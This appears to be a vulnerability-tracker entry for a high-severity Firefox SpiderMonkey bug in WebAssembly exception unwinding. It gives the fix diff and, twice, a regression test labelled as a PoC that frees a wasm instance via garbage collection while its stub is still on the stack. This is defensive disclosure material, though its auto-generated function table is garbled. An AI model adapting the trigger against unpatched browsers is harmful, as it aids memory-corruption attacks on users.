High firefox Logic Error 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impacthigh
DescriptionInvalid pointer in the JavaScript: WebAssembly component
ComponentSpiderMonkey
Bug ClassLogic Error
Tracker2072413
Fix commit35f14689b416 (firefox) +81/-5
CISA KEVNot listed
CreditedMozilla
Disclosed2026-09-29

Changed Functions

FunctionChangeNotes
if
js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
modified
next
js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
modified
return
js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
modified
for
js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
modified

Files Changed

  • js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
  • js/src/jit/JitFrames.cpp
diff --git a/js/src/jit/JitFrames.cpp b/js/src/jit/JitFrames.cpp
index 3c845bbc9ca..a516941f275 100644
--- a/js/src/jit/JitFrames.cpp
+++ b/js/src/jit/JitFrames.cpp
@@ -747,9 +747,6 @@ void HandleException(ResumeFromException* rfe) {
   }
 #endif
 
-  JitFrameIter iter(cx->activation()->asJit(),
-                    /* mustUnwindActivation = */ true);
-
   // Live wasm code on the stack is kept alive (in TraceJitActivation) by
   // marking the instance of every wasm::Frame found by WasmFrameIter.
   // However, we're going to pop frames while iterating which means that a GC
@@ -760,10 +757,11 @@ void HandleException(ResumeFromException* rfe) {
   // jump to the JIT's exception handling trampoline. However, we must keep the
   // throw stub alive itself which is owned by the innermost instance.
   Rooted<WasmInstanceObject*> keepAlive(cx);
-  if (iter.isWasm()) {
-    keepAlive = iter.asWasm().instance()->object();
+  if (activation->hasWasmExitFP() && !activation->isWasmTrapping()) {
+    keepAlive = activation->wasmExitInstance()->object();
   }
 
+  JitFrameIter iter(activation, /* mustUnwindActivation = */ true);
   CommonFrameLayout* prevJitFrame = nullptr;
   while (!iter.done()) {
     if (iter.isWasm()) {
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
new file mode 100644
index 00000000000..6c8262f8dd5
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
@@ -0,0 +1,78 @@
+// Regression test for the rooting of the wasm throw stub's owner.
+//
+// While popping frames for an exception, HandleException must keep the
+// innermost wasm instance alive: the throw stub it is about to return into is
+// owned by that instance's code.
+
+const table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance only through the table, so the collapsed
+// frame is the only thing that could otherwise keep it alive.
+const driver = wasmEvalText(`(module
+  (type $t (func (result i32)))
+  (import "m" "table" (table 1 funcref))
+  (func (export "f") (result i32)
+    i32.const 0
+    call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+
+// A proxy, so that the call is routed through an exit stub rather than being
+// specialized to a plain JS function.
+const go = new Proxy(function() {
+  if (!armed) {
+    return 42;
+  }
+  // Drop the last reference to the tail-calling instance, then propagate an
+  // exception back out through its exit stub.
+  table.set(0, null);
+  throw "from import";
+}, {});
+
+function install() {
+  var ins = wasmEvalText(`(module
+    (import "m" "go" (func $go (result i32)))
+    (func (export "f") (result i32)
+      return_call $go)
+  )`, {m: {go}});
+  table.set(0, ins.exports.f);
+  // `ins` is now unreachable except through table[0].
+}
+
+// Unwinding the frame of `run` closes this iterator, and the close hook
+// collects while the exit stub is still on the stack.
+const iterable = {
+  [Symbol.iterator]() {
+    return {
+      next() { return {value: undefined, done: false}; },
+      return() {
+        if (armed) {
+          gc();
+        }
+        return {};
+      }
+    };
+  }
+};
+
+function run() {
+  var [value = driver()] = iterable;
+  return value;
+}
+
+install();
+
+// Warm up without arming, so `run` gets compiled and the lazy stubs exist.
+for (var i = 0; i < 100; i++) {
+  assertEq(run(), 42);
+}
+
+armed = true;
+var caught = null;
+try {
+  run();
+} catch (e) {
+  caught = e;
+}
+assertEq(caught, "from import");
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
new file mode 100644
index 00000000000..6c8262f8dd5
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
@@ -0,0 +1,78 @@
+// Regression test for the rooting of the wasm throw stub's owner.
+//
+// While popping frames for an exception, HandleException must keep the
+// innermost wasm instance alive: the throw stub it is about to return into is
+// owned by that instance's code.
+
+const table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance only through the table, so the collapsed
+// frame is the only thing that could otherwise keep it alive.
+const driver = wasmEvalText(`(module
+  (type $t (func (result i32)))
+  (import "m" "table" (table 1 funcref))
+  (func (export "f") (result i32)
+    i32.const 0
+    call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+
+// A proxy, so that the call is routed through an exit stub rather than being
+// specialized to a plain JS function.
+const go = new Proxy(function() {
+  if (!armed) {
+    return 42;
+  }
+  // Drop the last reference to the tail-calling instance, then propagate an
+  // exception back out through its exit stub.
+  table.set(0, null);
+  throw "from import";
+}, {});
+
+function install() {
+  var ins = wasmEvalText(`(module
+    (import "m" "go" (func $go (result i32)))
+    (func (export "f") (result i32)
+      return_call $go)
+  )`, {m: {go}});
+  table.set(0, ins.exports.f);
+  // `ins` is now unreachable except through table[0].
+}
+
+// Unwinding the frame of `run` closes this iterator, and the close hook
+// collects while the exit stub is still on the stack.
+const iterable = {
+  [Symbol.iterator]() {
+    return {
+      next() { return {value: undefined, done: false}; },
+      return() {
+        if (armed) {
+          gc();
+        }
+        return {};
+      }
+    };
+  }
+};
+
+function run() {
+  var [value = driver()] = iterable;
+  return value;
+}
+
+install();
+
+// Warm up without arming, so `run` gets compiled and the lazy stubs exist.
+for (var i = 0; i < 100; i++) {
+  assertEq(run(), 42);
+}
+
+armed = true;
+var caught = null;
+try {
+  run();
+} catch (e) {
+  caught = e;
+}
+assertEq(caught, "from import");
Loading diff…